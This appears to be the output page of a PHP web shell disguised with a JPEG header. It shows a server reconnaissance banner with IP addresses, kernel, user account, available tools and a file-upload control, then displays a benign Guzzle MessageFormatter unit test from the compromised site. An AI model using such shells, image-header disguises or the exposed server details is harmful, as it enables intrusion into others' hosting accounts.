����JFIF��x�x����'
| Server IP : 78.140.185.180 / Your IP : 216.73.216.169 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/././././www/vendor/guzzle/guzzle/tests/Guzzle/Tests/Log/ |
Upload File : |
<?php
namespace Guzzle\Tests\Log;
use Guzzle\Http\Client;
use Guzzle\Http\Curl\CurlHandle;
use Guzzle\Http\Message\EntityEnclosingRequest;
use Guzzle\Http\EntityBody;
use Guzzle\Http\Message\Response;
use Guzzle\Log\MessageFormatter;
use Guzzle\Plugin\Log\LogPlugin;
use Guzzle\Log\ClosureLogAdapter;
/**
* @covers Guzzle\Log\MessageFormatter
*/
class MessageFormatterTest extends \Guzzle\Tests\GuzzleTestCase
{
protected $request;
protected $response;
protected $handle;
public function setUp()
{
$this->request = new EntityEnclosingRequest('POST', 'http://foo.com?q=test', array(
'X-Foo' => 'bar',
'Authorization' => 'Baz'
));
$this->request->setBody(EntityBody::factory('Hello'));
$this->response = new Response(200, array(
'X-Test' => 'Abc'
), 'Foo');
$this->handle = $this->getMockBuilder('Guzzle\Http\Curl\CurlHandle')
->disableOriginalConstructor()
->setMethods(array('getError', 'getErrorNo', 'getStderr', 'getInfo'))
->getMock();
$this->handle->expects($this->any())
->method('getError')
->will($this->returnValue('e'));
$this->handle->expects($this->any())
->method('getErrorNo')
->will($this->returnValue('123'));
$this->handle->expects($this->any())
->method('getStderr')
->will($this->returnValue('testing'));
$this->handle->expects($this->any())
->method('getInfo')
->will($this->returnValueMap(array(
array(CURLINFO_CONNECT_TIME, '123'),
array(CURLINFO_TOTAL_TIME, '456')
)));
}
public function logProvider()
{
return array(
// Uses the cache for the second time
array('{method} - {method}', 'POST - POST'),
array('{url}', 'http://foo.com?q=test'),
array('{port}', '80'),
array('{resource}', '/?q=test'),
array('{host}', 'foo.com'),
array('{hostname}', gethostname()),
array('{protocol}/{version}', 'HTTP/1.1'),
array('{code} {phrase}', '200 OK'),
array('{req_header_Foo}', ''),
array('{req_header_X-Foo}', 'bar'),
array('{req_header_Authorization}', 'Baz'),
array('{res_header_foo}', ''),
array('{res_header_X-Test}', 'Abc'),
array('{req_body}', 'Hello'),
array('{res_body}', 'Foo'),
array('{curl_stderr}', 'testing'),
array('{curl_error}', 'e'),
array('{curl_code}', '123'),
array('{connect_time}', '123'),
array('{total_time}', '456')
);
}
/**
* @dataProvider logProvider
*/
public function testFormatsMessages($template, $output)
{
$formatter = new MessageFormatter($template);
$this->assertEquals($output, $formatter->format($this->request, $this->response, $this->handle));
}
public function testFormatsRequestsAndResponses()
{
$formatter = new MessageFormatter();
$formatter->setTemplate('{request}{response}');
$this->assertEquals($this->request . $this->response, $formatter->format($this->request, $this->response));
}
public function testAddsTimestamp()
{
$formatter = new MessageFormatter('{ts}');
$this->assertNotEmpty($formatter->format($this->request, $this->response));
}
public function testUsesResponseWhenNoHandleAndGettingCurlInformation()
{
$formatter = new MessageFormatter('{connect_time}/{total_time}');
$response = $this->getMockBuilder('Guzzle\Http\Message\Response')
->disableOriginalConstructor()
->setMethods(array('getInfo'))
->getMock();
$response->expects($this->exactly(2))
->method('getInfo')
->will($this->returnValueMap(array(
array('connect_time', '1'),
array('total_time', '2'),
)));
$this->assertEquals('1/2', $formatter->format($this->request, $response));
}
public function testUsesEmptyStringWhenNoHandleAndNoResponse()
{
$formatter = new MessageFormatter('{connect_time}/{total_time}');
$this->assertEquals('/', $formatter->format($this->request));
}
public function testInjectsTotalTime()
{
$out = '';
$formatter = new MessageFormatter('{connect_time}/{total_time}');
$adapter = new ClosureLogAdapter(function ($m) use (&$out) { $out .= $m; });
$log = new LogPlugin($adapter, $formatter);
$this->getServer()->enqueue("HTTP/1.1 200 OK\r\nContent-Length: 2\r\n\r\nHI");
$client = new Client($this->getServer()->getUrl());
$client->addSubscriber($log);
$client->get('/')->send();
$this->assertNotEquals('/', $out);
}
}